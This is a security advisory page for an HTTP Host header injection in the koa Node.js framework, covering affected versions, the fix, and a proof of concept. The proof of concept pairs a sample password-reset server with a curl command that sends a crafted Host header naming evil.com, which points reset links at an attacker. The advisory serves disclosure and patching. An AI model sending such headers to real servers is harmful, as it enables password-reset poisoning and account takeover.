HTTP Header Injection Affecting koa package, versions <2.16.4>=3.0.0-alpha.0 <3.1.2


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.12% (31st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-KOA-15353398
  • published26 Feb 2026
  • disclosed26 Feb 2026
  • creditPeyton Kennedy

Introduced: 26 Feb 2026

NewCVE-2026-27959  (opens in a new tab)
CWE-644  (opens in a new tab)

How to fix?

Upgrade koa to version 2.16.4, 3.1.2 or higher.

Overview

koa is a Koa web app framework

Affected versions of this package are vulnerable to HTTP Header Injection via the hostname function in the. request.js file. An attacker can manipulate the value hostname by sending a specially crafted HTTP Host header containing an @ symbol, which can lead to the generation of attacker-controlled URLs or influence routing decisions.

PoC

Setup: `` js // server.js const Koa = require('koa'); const app = new Koa();

// Simulates password reset URL generation (common vulnerable pattern) app.use(async ctx => { if (ctx.path === '/forgot-password') { const resetToken = 'abc123securtoken'; const resetUrl = ${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken};

ctx.body = {
  message: 'Password reset link generated',
  resetUrl: resetUrl,
  debug: {
    rawHost: ctx.get('Host'),
    parsedHostname: ctx.hostname,
    origin: ctx.origin,
    protocol: ctx.protocol
  }
};

} });

app.listen(3000, () => console.log('Server on http://localhost:3000'));

Exploit:

curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password ```

CVSS Base Scores

version 4.0
version 3.1